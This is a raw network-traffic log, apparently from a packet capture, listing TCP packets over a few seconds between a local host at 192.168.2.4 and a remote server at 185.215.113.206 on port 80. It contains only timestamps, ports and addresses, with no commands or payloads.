Oct 31, 2024 07:14:30.030731916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030756950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030775070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030817986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030821085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030833006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030843973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.030864000 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.030889034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031007051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031054974 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031065941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031078100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031095028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031106949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031112909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031133890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031153917 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031352997 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031403065 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031407118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031425953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031438112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031449080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031449080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031462908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031481028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031507015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031683922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031696081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031708002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031733036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031757116 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031759977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031773090 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031785011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031796932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031797886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031805992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.031816959 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031831980 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.031857967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.032162905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.032182932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.032193899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.032213926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.032232046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.032263041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.032273054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.032314062 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.032455921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.032502890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.032530069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.032577038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.105321884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.105335951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.105345964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.105468988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.119529009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.119550943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.119559050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.119595051 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.119671106 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.119740963 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149583101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149650097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149666071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149687052 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149698019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149713993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149743080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149749041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149755955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149768114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149779081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149784088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149811029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149835110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149858952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149869919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149879932 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149890900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149900913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149909019 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149913073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149924994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.149935007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149946928 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.149969101 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150476933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150499105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150509119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150542021 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150557041 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150600910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150610924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150621891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150631905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150640011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150672913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150686979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150700092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150708914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150727034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150840044 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150918961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150932074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150942087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.150974035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150974035 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.150989056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151058912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151070118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151081085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151094913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151124954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151129007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151143074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151144028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151154995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151168108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151173115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151181936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151195049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151211977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151222944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.151227951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151251078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.151256084 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.195019007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.195058107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.195069075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.195070028 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.195097923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.224277020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.224292994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.224303007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.224342108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.224369049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.238517046 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.238578081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.238586903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.238595963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.238605976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.238630056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.238662004 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.268522024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268598080 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.268624067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268635035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268647909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268660069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268666983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.268673897 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268697977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.268719912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268727064 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.268771887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268778086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268837929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268838882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.268852949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268860102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.268876076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.268920898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269105911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269150019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269155025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269188881 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269332886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269345045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269359112 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269377947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269381046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269391060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269402027 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269426107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269437075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269442081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269454956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269468069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269495010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269575119 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269587040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269601107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269612074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269618988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269640923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269655943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269669056 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269685984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269696951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269715071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269716978 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269726992 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269728899 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.269735098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269757986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.269774914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270036936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270050049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270061016 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270082951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270097017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270147085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270173073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270186901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270190001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270212889 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270224094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270250082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270262003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270276070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270289898 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270301104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270317078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270555019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270566940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270579100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.270603895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.270626068 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.313848972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.313860893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.313870907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.313901901 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.313924074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.343467951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.343508959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.343518972 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.343530893 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.343550920 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.357789993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.357836008 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.357841969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.357856035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.357870102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.357878923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.357886076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.357892990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.357898951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.357914925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.357938051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.387659073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387670040 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387686968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387698889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387707949 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387720108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.387752056 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.387849092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387860060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387871027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387897968 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.387924910 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.387969017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.387978077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388025999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388047934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388060093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388070107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388092995 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388103962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388189077 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388200045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388217926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388227940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388233900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388237953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388243914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388263941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388287067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388449907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388459921 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388501883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388516903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388528109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388537884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388560057 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388571024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388657093 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388669014 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388679981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388696909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388706923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388708115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388736010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388746023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388881922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388928890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388930082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388942003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.388967991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.388981104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389050961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389060974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389072895 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389100075 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389117956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389185905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389204979 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389216900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389225960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389230013 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389239073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389240026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389256954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389264107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389290094 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389422894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389435053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389446020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389472961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389487982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389494896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389499903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.389525890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.389537096 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.433003902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.433013916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.433054924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.433068037 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.462305069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.462326050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.462337017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.462348938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.462392092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.462434053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.476844072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.476861954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.476871967 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.476881981 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.476891994 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.476946115 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.476970911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.506732941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.506793022 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.506817102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.506829977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.506858110 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.506861925 CET	80	49758	185.215.113.206	192.168.2.4
